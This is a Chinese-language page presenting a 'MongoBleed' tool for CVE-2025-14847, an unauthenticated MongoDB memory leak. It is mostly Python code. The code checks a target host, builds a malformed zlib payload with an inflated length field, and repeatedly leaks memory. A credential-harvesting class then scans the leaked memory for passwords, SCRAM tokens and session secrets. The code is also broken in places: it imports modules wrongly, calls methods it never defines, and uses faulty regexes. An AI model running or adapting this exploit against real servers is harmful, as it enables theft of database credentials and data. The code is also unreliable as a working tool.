MongoBleed — CVE-2025-14847 非认证MongoDB内存泄露漏洞检测工具

# 具体依赖请查看requirements.txt
# 典型依赖包括：
pip install pymongo
pip install zlib
pip install cryptography

# 基本漏洞检测示例
from mongobleed import MongoBleedDetector

# 创建检测器实例
detector = MongoBleedDetector(target_host="192.168.1.100", target_port=27017)

# 检测漏洞
is_vulnerable = detector.check_vulnerability()
if is_vulnerable:
    print("目标服务器存在MongoBleed漏洞")
    # 执行内存泄露攻击
    leaked_data = detector.exploit_memory_leak()
    print(f"泄露数据: {leaked_data}")
else:
    print("目标服务器不受影响")

# 漏洞检测核心模块
class MongoBleedDetector:
    """
    CVE-2025-14847漏洞检测与利用类
    通过zlib压缩流量处理不当问题提取MongoDB内存
    """
    
    def __init__(self, target_host, target_port=27017):
        """
        初始化检测器
        
        Args:
            target_host (str): 目标MongoDB主机地址
            target_port (int): 目标MongoDB端口，默认27017
        """
        self.target_host = target_host
        self.target_port = target_port
        self.connection = None
        self.vulnerable = False
    
    def check_vulnerability(self):
        """
        检测目标MongoDB是否存在CVE-2025-14847漏洞
        
        Returns:
            bool: True表示存在漏洞，False表示安全
        """
        try:
            # 创建特制的zlib压缩请求
            crafted_request = self._create_crafted_zlib_request()
            
            # 发送请求到目标MongoDB
            response = self._send_compressed_request(crafted_request)
            
            # 分析响应中的内存泄露迹象
            self.vulnerable = self._analyze_memory_leak(response)
            
            return self.vulnerable
            
        except Exception as e:
            print(f"漏洞检测失败: {e}")
            return False
    
    def exploit_memory_leak(self, iterations=10):
        """
        执行内存泄露攻击
        
        Args:
            iterations (int): 攻击迭代次数，增加数据获取概率
            
        Returns:
            bytes: 泄露的内存数据
        """
        if not self.vulnerable:
            print("目标服务器不存在漏洞")
            return b""
        
        leaked_data = b""
        
        for i in range(iterations):
            # 发送特制压缩请求触发内存计算错误
            request = self._create_memory_leak_payload()
            response = self._send_exploit_request(request)
            
            # 从响应中提取泄露的内存
            memory_chunk = self._extract_leaked_memory(response)
            leaked_data += memory_chunk
            
            print(f"第{i+1}次迭代，获取{len(memory_chunk)}字节数据")
        
        return leaked_data
    
    def _create_crafted_zlib_request(self):
        """
        创建特制的zlib压缩请求
        利用MongoDB在处理压缩数据时的长度计算错误
        
        Returns:
            bytes: 特制请求数据
        """
        # 构建异常的压缩数据包
        # 包含故意错误计算的压缩长度
        malicious_compressed_data = b""
        
        # 添加zlib头部
        malicious_compressed_data += b'\x78\x9c'  # zlib默认压缩头部
        
        # 创建长度字段，触发内存泄露
        # 使用过大的长度值导致未初始化内存被包含在响应中
        fake_length = 0xFFFF  # 最大长度值
        
        malicious_compressed_data += fake_length.to_bytes(2, 'big')
        
        # 添加少量有效压缩数据
        # 实际数据远小于声明的长度
        actual_data = b"test" * 10  # 40字节实际数据
        compressed_actual = zlib.compress(actual_data)[2:]  # 移除zlib头部
        
        malicious_compressed_data += compressed_actual
        
        # 添加填充以匹配声明的长度
        # 这部分将被未初始化内存填充
        padding_needed = fake_length - len(compressed_actual)
        malicious_compressed_data += b'\x00' * padding_needed
        
        return malicious_compressed_data

# 内存泄露利用模块
class MemoryExploiter:
    """
    内存泄露利用核心类
    负责提取和分析泄露的堆内存数据
    """
    
    def __init__(self, detector):
        """
        初始化利用器
        
        Args:
            detector (MongoBleedDetector): 已确认漏洞的检测器实例
        """
        self.detector = detector
        self.leaked_data_cache = []
    
    def extract_credentials(self, leaked_data):
        """
        从泄露内存中提取可能的凭证信息
        
        Args:
            leaked_data (bytes): 泄露的内存数据
            
        Returns:
            dict: 提取的凭证信息
        """
        credentials = {
            'usernames': [],
            'passwords': [],
            'tokens': [],
            'session_ids': []
        }
        
        # 将二进制数据转换为可搜索的字符串
        data_str = leaked_data.decode('utf-8', errors='ignore')
        
        # 搜索常见的凭证模式
        # 用户名模式
        username_patterns = [r'user[name]?:[\s]*([^\s\n]+)', 
                            r'username[\s]*=[\s]*([^\s\n]+)']
        
        # 密码模式
        password_patterns = [r'pass[word]?:[\s]*([^\s\n]+)',
                            r'password[\s]*=[\s]*([^\s\n]+)']
        
        # 搜索所有模式
        import re
        
        for pattern in username_patterns:
            matches = re.findall(pattern, data_str, re.IGNORECASE)
            credentials['usernames'].extend(matches)
        
        for pattern in password_patterns:
            matches = re.findall(pattern, data_str, re.IGNORECASE)
            credentials['passwords'].extend(matches)
        
        # 搜索MongoDB特定的认证数据
        scram_patterns = [
            r'scram-sha-1[\s\S]{10,50}',
            r'scram-sha-256[\s\S]{10,50}'
        ]
        
        for pattern in scram_patterns:
            scram_matches = re.findall(pattern, data_str, re.IGNORECASE)
            credentials['tokens'].extend(scram_matches)
        
        return credentials
    
    def analyze_memory_patterns(self, leaked_data):
        """
        分析泄露内存中的模式，识别敏感数据结构
        
        Args:
            leaked_data (bytes): 泄露的内存数据
            
        Returns:
            dict: 分析结果，包含识别的数据结构和风险评估
        """
        analysis_results = {
            'sensitive_strings': [],
            'query_patterns': [],
            'object_ids': [],
            'json_structures': [],
            'risk_level': 'low'
        }
        
        # 转换数据为十六进制和文本格式进行分析
        hex_data = leaked_data.hex()
        text_data = leaked_data.decode('utf-8', errors='ignore')
        
        # 查找敏感字符串模式
        sensitive_keywords = [
            'password', 'secret', 'key', 'token', 'auth',
            'admin', 'root', 'credential', 'private', 'confidential'
        ]
        
        found_sensitive = []
        for keyword in sensitive_keywords:
            if keyword.lower() in text_data.lower():
                # 获取上下文信息
                context_start = max(0, text_data.lower().find(keyword.lower()) - 20)
                context_end = min(len(text_data), context_start + 100)
                context = text_data[context_start:context_end]
                found_sensitive.append({
                    'keyword': keyword,
                    'context': context
                })
        
        analysis_results['sensitive_strings'] = found_sensitive
        
        # 查找MongoDB查询模式
        query_patterns = [
            r'db\.\w+\.(find|insert|update|delete)',
            r'\{[\s\S]{1,100}:[^{}]*\}',  # 简化的JSON对象模式
        ]
        
        import re
        for pattern in query_patterns:
            matches = re.findall(pattern, text_data)
            analysis_results['query_patterns'].extend(matches)
        
        # 查找MongoDB ObjectId模式
        objectid_pattern = r'[0-9a-f]{24}'
        objectid_matches = re.findall(objectid_pattern, text_data)
        analysis_results['object_ids'] = objectid_matches
        
        # 风险评估
        risk_factors = 0
        if len(found_sensitive) > 0:
            risk_factors += 1
        if len(analysis_results['query_patterns']) > 0:
            risk_factors += 1
        if len(objectid_matches) > 5:  # 多个ObjectId可能表示活跃查询
            risk_factors += 1
        
        if risk_factors >= 2:
            analysis_results['risk_level'] = 'high'
        elif risk_factors == 1:
            analysis_results['risk_level'] = 'medium'
        
        return analysis_results